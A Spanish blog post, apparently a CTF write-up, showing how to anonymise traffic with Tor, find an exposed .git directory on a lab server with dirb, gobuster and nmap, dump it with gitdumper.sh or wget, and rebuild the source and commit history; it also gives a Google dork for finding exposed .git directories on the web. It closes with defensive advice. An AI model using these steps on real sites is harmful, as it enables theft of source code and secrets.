A raiz de CTF realizado recientemente, me ha parecido interesante publicar este post sobre los errores de seguridad que se encuentran en muchos sitios. En este caso, el tener publicado los metadatos de un repositorio clonado. Veamos cómo obtener esta información de manera muy sencilla.
Prerequisitos si queremos trabajar de manera anónima:
systemctl start tor
Luego podremos lanzar los comandos con torify o torsock, de esta manera trabajaremos a través de la red tor.
Se puede verificar de esta manera (donde veremos que la ip que tenemos asignada difiere):
curl ifconfig.me --> Nos devolverá nuestra IP
torsocks curl ifconfig.me --> Nos devolverá la IP del nodo TOR
URL de ejemplo: http://10.10.206.152
Escanear directorios publicados en la url:
Tenemos varias formas:
- dirb http://10.10.206.152
salida:
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Wed Aug 26 17:41:46 2020
URL_BASE: http://10.10.206.152/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.206.152/ ----
+ http://10.10.206.152/.git/HEAD (CODE:200|SIZE:23)
==> DIRECTORY: http://10.10.206.152/css/
+ http://10.10.206.152/index.html (CODE:200|SIZE:6890)
---- Entering directory: http://10.10.206.152/css/ ----
-----------------
END_TIME: Wed Aug 26 17:51:41 2020
DOWNLOADED: 9224 - FOUND: 2
- gobuster dir -u 10.10.206.152 -w /usr/share/dirb/wordlists/common.txt
salida:
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.206.152
[+] Threads: 10
[+] Wordlist: /usr/share/dirb/wordlists/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/08/26 17:43:09 Starting gobuster
===============================================================
/.git/HEAD (Status: 200)
/css (Status: 301)
/index.html (Status: 200)
===============================================================
2020/08/26 17:43:38 Finished
===============================================================
En ambos casos vemos que se está publicando un directorio .git. Esto se debe a que dentro del directorio de publicación web se ha clonado un repositorio git, el cual deja un directorio .git con los metadatos del repositorio utilizado.
Si nos descargamos estos datos, podemos tener la información de dicho repositorio, así como sus distintas versiones y commits realizados.
Descarga de contenido .git
Para descargarlo, lo podemos hacer de varias formas:
- Utilizar el kit de herramientas de https://github.com/internetwache/GitTools.git, el cual contiene un script (gitdumper.sh)
gitdumper.sh http://10.10.206.152/.git/ dir_git
una vez descargado, dentro de dir_git tendremos el directorio oculto .git:
ls -aR
.:
. .. .git
./.git:
. .. config description HEAD index info logs objects packed-refs refs
./.git/info:
. .. exclude
./.git/logs:
. .. HEAD refs
- Realizar una descarga recursiva con wget:
wget --mirror --include-directories=/.git http://10.10.206.152/.git/
obteniendo un nuevo directorio 10.10.206.152 con el .git dentro.
Ahora recuperaremos la información de git, esto también lo podemos hacer de varias formas:
- git reset --hard
- git checkout .
Ahora ya podemos hacer un ls y ver el contenido, así como ver el histórico de commits realizados:
git log
y ver las diferencias entre una versión y otra:
git diff 395e087334d613d5e423cdf8f7be27196a360459 index.html
o cambiar a un estado anterior:
git checkout 395e087334d613d5e423cdf8f7be27196a360459
Formas de descubrir directorios .git.
- Podemos hacer uso de un sript de nmap para detectar estos directorios:
nmap -sS -p80 --script=http-git ip_destino
- Con el script getfinder (https://github.com/internetwache/GitTools.git), donde le pasamos en un fichero el listado de sitios a analizar
python3 gitfinder.py -i input.txt -o salida
- Y por supuesto con google dork:
intitle:"Index of" ".git"
Así que recuerda, no dejes directorios .git en los directorios publicados, o al menos, bloquea el acceso con htaccess.